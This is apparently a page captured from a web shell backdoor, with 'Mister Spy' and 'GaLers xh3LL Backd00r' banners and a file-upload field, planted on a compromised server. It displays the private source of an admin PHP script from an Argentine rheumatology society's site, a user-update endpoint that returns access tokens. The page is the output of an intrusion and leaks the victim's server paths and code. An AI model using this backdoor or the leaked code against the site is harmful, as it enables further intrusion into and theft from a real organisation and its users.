Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-usuarios-mod.php

<?php

require_once('../inc_library.php'); 

/* obtenemos datos enviados */
$IdUsuario			= intval($_REQUEST['IdUsuario']);
$Validado 			= true; //$_REQUEST['Validado'];
$Nombre 			= strval(utf8_decode($_REQUEST['Nombre']));
$Apellido			= strval(utf8_decode($_REQUEST['Apellido']));
$CodigoAreaTelefono	= strval(utf8_decode($_REQUEST['CodigoAreaTelefono']));
$Telefono 			= strval(utf8_decode($_REQUEST['Telefono']));
$CodigoAreaFax		= strval(utf8_decode($_REQUEST['CodigoAreaFax']));
$Fax 				= strval(utf8_decode($_REQUEST['Fax']));
$Dni 				= strval(utf8_decode($_REQUEST['Dni']));
$Email				= strval(utf8_decode($_REQUEST['Email']));
$IdProvincia		= intval($_REQUEST['IdProvincia']);
$Localidad			= strval(utf8_decode($_REQUEST['Localidad']));
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err				= 0;
$oUsuarios			= new Usuarios();
$oDniRegistrados	= new DniRegistrados();


/* verificamos si existe el registro */
if (!$oUsuario = $oUsuarios->GetById($IdUsuario))
{
	header('Location: json-colores.php' . $strParams);
	exit;
}

/* si los datos fueron enviados... */
if ($Submit)
{
	/* validaciones... */
	if ($Nombre == '')
		$err |= 1;
	if ($Apellido == '')
		$err |= 2;
	if (!IsEmail($Email))
		$err |= 4;
	elseif (($oUsuario->Email != $Email) && ($oUsuarios->GetByEmail($Email)))
		$err |= 8;
	if (!IsDni($Dni))
		$err |= 16;
	elseif (($oUsuario->Dni != $Dni) && ($oUsuarios->GetByDni($Dni)))
		$err |= 32;
	elseif (!($oDniRegistrados->GetByDni($Dni)))
		$err |= 64;
	
	/* si no hay errores... */
	if ($err == 0)
	{
		$IdEstadoPrevio					= $oUsuario->IdEstado;
		$oUsuario->Nombre 				= $Nombre;
		$oUsuario->Apellido 			= $Apellido;
		$oUsuario->CodigoAreaTelefono	= $CodigoAreaTelefono;
		$oUsuario->Telefono 			= $Telefono;
		$oUsuario->CodigoAreaFax		= $CodigoAreaFax;
		$oUsuario->Fax					= $Fax;
		$oUsuario->Dni					= $Dni;
		$oUsuario->Email 				= $Email;
		$oUsuario->IdProvincia 			= $IdProvincia;
		$oUsuario->Localidad 			= $Localidad;
		if ($Validado == true)
			$oUsuario->IdEstado 		= UsuarioEstados::Activo;
		else
			$oUsuario->IdEstado 		= UsuarioEstados::PendienteValidacion;
		
		/* modifica el usuario */
		$oUsuario = $oUsuarios->Update($oUsuario);
		
		if ($oUsuario->IdEstado != $IdEstadoPrevio && $oUsuario->IdEstado == UsuarioEstados::Activo)
		{
			$headers  = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
			$headers .= 'From: Sociedad Argentina de Reumatologia <info@reumatologia.com.ar>' . "\r\n";
			
			$msgBody = "Estimado/a " . $oUsuario->Nombre . " " . $oUsuario->Apellido . ",<br>";
			$msgBody.= "Le informamos que su usuario ha sido validado correctamente, y a partir de este momento puede comenzar a utilizar la aplicaci&oacute;n.<br><br>";
			$msgBody.= "Muchas gracias.<br>";
			$msgBody.= "Lo saludamos atentamente,<br><strong>Sociedad Argentina de Reumatologia</strong>";
			$success = mail($oUsuario->Email, 'SAR - Usuario habilitado', $msgBody, $headers);
		}

		$token = $oUsuario->GenerateRefreshToken();
		$accessToken = $oUsuario->GenerateAccessToken();
		
		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => "", "result" => true, "data" => $oUsuario, 'accessToken' => $accessToken, 'token' => $token));
	}
	elseif( $err & 4 ) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("El email ingresado ya fue utilizado por otro usuario.")));
	}
	elseif( $err & 32) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("El nro. documento ya fue utilizado por otro usuario.")));
	}
	elseif( $err & 64) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => ("Su nro. de documento no se encuentra registrado como válido para utilizar esta aplicación, comuniquese con la Sociedad Argentina de Reumatología.")));
	}
	else
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("Los datos ingresados no son correctos.")));
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat